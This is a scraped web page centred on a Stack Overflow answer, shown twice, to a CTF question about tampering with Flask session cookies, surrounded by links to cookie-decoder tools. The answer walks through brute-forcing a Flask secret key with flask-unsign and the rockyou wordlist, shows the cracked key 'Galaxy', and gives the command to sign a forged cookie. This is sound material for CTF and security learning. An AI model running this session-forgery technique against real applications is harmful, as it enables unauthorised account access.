As Elias has already mentioned, the cookie can be decoded without the secret key, but it cannot be manipulated without it for obvious security reasons. If cookie tampering was as easy as that, nobody would use Flask sessions. Therefore, your task is to find the secret key, and since the SHA-1 hash function is non-reversible, you should turn your attention to the human factor.

That being said, you'll have to "guess" the secret key of the contest's careless programmer using brute force, and fortunately, Flask-Unsign can assist you with that.

You can install it via pip by using the following command:

pip3 install flask-unsign

but before using it, you will need a wordlist like rockyou, which you can download from the Kali Linux GitLab repository by using a command like the one below:

curl -JO https://gitlab.com/kalilinux/packages/wordlists/-/raw/kali/master/rockyou.txt.gz && gunzip rockyou.txt.gz
  • -J, --remote-header-name: Uses the server-specified Content-Disposition filename instead of extracting a filename from the URL when saving the file locally.
  • -O, --remote-name: Writes the output to a local file named like the remote file obtained, using the server-specified filename.

Now you can perform the brute force attack using the following command:

flask-unsign --unsign --cookie '.eJwtjkGKAzEMBL-S9TkHy5Yte96wP1jCIEvyJmxIYDxzCvn7-pBTUw1N18ut_c7jasMtPy932me4cYjYGO7svp-_t8fpw_24f7nL-3Kem83G1S37dtikm7rFQUJBRSOL1GKWVCoRC3ED7VAz9FKsVi9aO2RgJmgSi88VuQCmXghjaRZjSCqBDTm3qE1LAh8bGnuG3jAHCV4iZlAoPkhiAGghT9v1GLZ9bCbK2Pq6P__sMQuev2ZcKQFkMinJWhRSqB4hYyWv2oWre_8D5vtQyA.ZTUbZQ.erv_yZmYg44tiaJ0u8fqKailHUc' --no-literal-eval -w rockyou.txt   
  • The --no-literal-eval argument was used because Flask-Unsign assumes by default that each word in a given wordlist is enclosed in quotes. However, this is not the case with the rockyou wordlist.

and find the secret key after a few thousand attempts:

[*] Session decodes to: {'_flashes': [('success', 'Login successful!')], '_fresh': True, '_id': '154c4d4e7e37b36c58977ac7ab1df1961f88e990cd9f161aa71bc380694a8145f87438be3325dc2ae4a6b3dbd85103b4ea0a1fb462c20c3461d1802c5a111b26', '_user_id': '1', 'csrf_token': 'acd9eea9751167ec85eb3c7d1904164970ddfca9'}                       
[*] Starting brute-forcer with 8 threads..                                                                                                     
[+] Found secret key after 175360 attempts                                                                                                     
b'Galaxy'

Finally, having found the secret key, you can use it to sign your own cookie with modified session data according to your needs:

flask-unsign --sign --cookie "modified session data here" --secret 'Galaxy'
Answer from Andreas Violaris on Stack Overflow
🌐
Degoogle
kirsle.net › wizards › flask-session.cgi
Flask Session Cookie Decoder
Decode a Flask Session Cookie You can paste in your Flask session cookie here to decode it. Don't know how to get your cookie?
🌐
GitHub
github.com › noraj › flask-session-cookie-manager
GitHub - noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder · GitHub
Flask Session Cookie Decoder/Encoder positional arguments: {encode,decode} sub-command help encode encode decode decode optional arguments: -h, --help show this help message and exit
Starred by 774 users
Forked by 93 users
Languages   Python 88.9% | Shell 11.1%
Discussions

Decode appSession cookie
I am attempting to create a provider using the Vercel Flags SDK. They provide a hook to identify the user and it is supplied the Headers and Cookies from the request but not the actual Request/Response objects. Normally I would use getSession(req, res) but this is unavailable to me. More on community.auth0.com
🌐 community.auth0.com
2
0
January 21, 2025
Flask Session Cookie Tampering - Stack Overflow
I was competing in a CTF contest and faced an issue while trying to manipulate a Flask session cookie. Specifically, I was able to decode it successfully (without having its secret key) using Flask More on stackoverflow.com
🌐 stackoverflow.com
Are there any tools to help decode cookies into login information?
It sounds like what you're trying to do is turn a cookie into credentials for an application. This isn't necessarily possible to do. It's poor practice for there to be a relationship between the contents of a session cookie and a user's password, although that doesn't mean it doesn't happen. Ideally, a user would supply the application with their credentials and the application would respond with a session token (often this value is stored in a cookie). This session token can be totally random data, so long as there's a record kept on the server side that this token maps to the given user. If the token does contain useful data, this will often be Base64 encoded, so if the value is mostly alphanumeric, try decoding that with a tool like https://www.base64decode.org/ If it comes out as junk, it may be encrypted, in which case you'll need some specialist knowledge on how to attack encrypted tokens are are unlikely to extract the values without the key stored on the server. It may also actually be junk, which is the safest approach to take when giving a user a session token. More on reddit.com
🌐 r/netsecstudents
2
7
June 6, 2016
node.js - How to decode express-session cookies? - Stack Overflow
I isolated the problem, as far as I could, but still cannot solve it. I created an empty server with loopback, added express-session and body-parser middlewares "session": { "express-session... More on stackoverflow.com
🌐 stackoverflow.com
May 23, 2017
🌐
Noraj
noraj.github.io › flask-session-cookie-manager
Flask Session Cookie Decoder/Encoder | flask-session-cookie-manager
usage: flask_session_cookie_manager{2,3}.py decode [-h] [-s <string>] -c <string> optional arguments: -h, --help show this help message and exit -s <string>, --secret-key <string> Secret key -c <string>, --cookie-value <string> Session cookie value
🌐
Ft
developer.ft.com › portal › docs-membership-platform-api-session-decoder
Session Decoder - FT Developer Programme - Financial Times
The Session Decoder is a client-side javascript that extracts the userId from the FTSession_s cookie, without making a remote API call to the Session API.
🌐
Quora
quora.com › Is-it-possible-to-decode-a-session-cookie
Is it possible to decode a session cookie? - Quora
Answer (1 of 2): A session cookie, especially the kind PHP uses, is a somewhat random number used to identify the session you have with the web site that set it. It is supposed to be different from every other session cookie that web site has that’s unexpired.
🌐
Auth0
community.auth0.com › get help
Decode appSession cookie - Auth0 Community
January 21, 2025 - I am attempting to create a provider using the Vercel Flags SDK. They provide a hook to identify the user and it is supplied the Headers and Cookies from the request but not the actual Request/Response objects. Normally I would use getSession(req, res) but this is unavailable to me.
🌐
URL Decode
urldecoder.org › dec › cookie
URL Decoding of "cookie" - Online
Decode cookie from URL-encoded format with various advanced options. Our site has an easy to use online tool to convert your data.
Find elsewhere
🌐
GitHub
github.com › ewewraw › flask-session-cookie-decoder
GitHub - ewewraw/flask-session-cookie-decoder
A Node.js module for decoding Flask session cookies, allowing you to extract and decompress the data stored within them.
Author   ewewraw
Top answer
1 of 2
11

As Elias has already mentioned, the cookie can be decoded without the secret key, but it cannot be manipulated without it for obvious security reasons. If cookie tampering was as easy as that, nobody would use Flask sessions. Therefore, your task is to find the secret key, and since the SHA-1 hash function is non-reversible, you should turn your attention to the human factor.

That being said, you'll have to "guess" the secret key of the contest's careless programmer using brute force, and fortunately, Flask-Unsign can assist you with that.

You can install it via pip by using the following command:

pip3 install flask-unsign

but before using it, you will need a wordlist like rockyou, which you can download from the Kali Linux GitLab repository by using a command like the one below:

curl -JO https://gitlab.com/kalilinux/packages/wordlists/-/raw/kali/master/rockyou.txt.gz && gunzip rockyou.txt.gz
  • -J, --remote-header-name: Uses the server-specified Content-Disposition filename instead of extracting a filename from the URL when saving the file locally.
  • -O, --remote-name: Writes the output to a local file named like the remote file obtained, using the server-specified filename.

Now you can perform the brute force attack using the following command:

flask-unsign --unsign --cookie '.eJwtjkGKAzEMBL-S9TkHy5Yte96wP1jCIEvyJmxIYDxzCvn7-pBTUw1N18ut_c7jasMtPy932me4cYjYGO7svp-_t8fpw_24f7nL-3Kem83G1S37dtikm7rFQUJBRSOL1GKWVCoRC3ED7VAz9FKsVi9aO2RgJmgSi88VuQCmXghjaRZjSCqBDTm3qE1LAh8bGnuG3jAHCV4iZlAoPkhiAGghT9v1GLZ9bCbK2Pq6P__sMQuev2ZcKQFkMinJWhRSqB4hYyWv2oWre_8D5vtQyA.ZTUbZQ.erv_yZmYg44tiaJ0u8fqKailHUc' --no-literal-eval -w rockyou.txt   
  • The --no-literal-eval argument was used because Flask-Unsign assumes by default that each word in a given wordlist is enclosed in quotes. However, this is not the case with the rockyou wordlist.

and find the secret key after a few thousand attempts:

[*] Session decodes to: {'_flashes': [('success', 'Login successful!')], '_fresh': True, '_id': '154c4d4e7e37b36c58977ac7ab1df1961f88e990cd9f161aa71bc380694a8145f87438be3325dc2ae4a6b3dbd85103b4ea0a1fb462c20c3461d1802c5a111b26', '_user_id': '1', 'csrf_token': 'acd9eea9751167ec85eb3c7d1904164970ddfca9'}                       
[*] Starting brute-forcer with 8 threads..                                                                                                     
[+] Found secret key after 175360 attempts                                                                                                     
b'Galaxy'

Finally, having found the secret key, you can use it to sign your own cookie with modified session data according to your needs:

flask-unsign --sign --cookie "modified session data here" --secret 'Galaxy'
2 of 2
1

What you described is the expected behavior by design - the cookie can be decoded without the secret key, but it cannot be modified without it.

from documentation:

If you have set Flask.secret_key (or configured it from SECRET_KEY) you can use sessions in Flask applications. A session makes it possible to remember information from one request to another. The way Flask does this is by using a signed cookie. The user can look at the session contents, but can’t modify it unless they know the secret key, so make sure to set that to something complex and unguessable.

🌐
Pentesttools
pentesttools.net › flask-session-cookie-manager-flask-session-cookie-decoder-encoder
Flask-Session-Cookie-Manager – Flask Session Cookie Decoder/Encoder – PentestTools
August 12, 2020 - usage: flask_session_cookie_manager.py decode [-h] [-s <string>] -c <string> optional arguments: -h, --help show this help message and exit -s <string>, --secret-key <string> Secret key -c <string>, --cookie-value <string> Session cookie value
🌐
PyPI
pypi.org › project › flask-cookie-decode
flask-cookie-decode · PyPI
Adds a cookie command to the built-in Flask CLI which will provide various tools for debugging the secure session cookie that Flask uses by default. flask cookie decode: decodes and verifies the signature of the session cookie
      » pip install flask-cookie-decode
    
Published   Mar 09, 2025
Version   0.4.3
🌐
Readthedocs
flask-cookie-decode.readthedocs.io › en › latest › readme.html
1 flask-cookie-decode — flask-cookie-decode 0.4.3 documentation
Adds a cookie command to the built-in Flask CLI which will provide various tools for debugging the secure session cookie that Flask uses by default. flask cookie decode: decodes and verifies the signature of the session cookie
🌐
Bitcrowd
bitcrowd.dev › decoding-phoenix-session-cookies
Decoding Phoenix Session Cookies | bitcrowd blog
October 2, 2019 - We see that get/3 decodes the cookie differently based on whether the cookie is encrypted (an encryption_salt is present) or not. The default are signed-only cookies, which means cookies are signed and, thus, safe against external modifications but are open to be read by anyone obtaining the cookie.
🌐
Ssocircle
ssocircle.com › en › 1029 › opensso-openam-session-cookie-decoder
OpenSSO / OpenAM Session Cookie Decoder
Understanding the “iPlanetDirectoryPro” session cookie can be key to debugging problems like OpenSSO / OpenAM internal session rooting, persistence problems and misconfiguration. The SSOCircle Toolbox OpenSSO / OpenAM session decoder: http://idp.ssocircle.com/sso/toolbox/ossoDProDecode.jsp
🌐
GitHub
gist.github.com › aescalana › 7e0bc39b95baa334074707f73bc64bfe
Decode and Encode Flask's session cookie. Great for testing purposes; only the secret key is needed · GitHub
Decode and Encode Flask's session cookie. Great for testing purposes; only the secret key is needed - manageFlaskSession.py
🌐
LinkedIn
linkedin.com › pulse › pentesting-ethical-hacking-tool-series-flask-session-cookie-vanegas
Pentesting and Ethical Hacking Tool Series: Flask Session Cookie Decoder/Encoder/BruteForce
June 1, 2023 - Flask-Unsign and Flask Session Cookie Decoder/Encoder are two Python scripts that allow us to decode, encode, brute-force, and craft session cookies for a Flask application by guessing secret keys.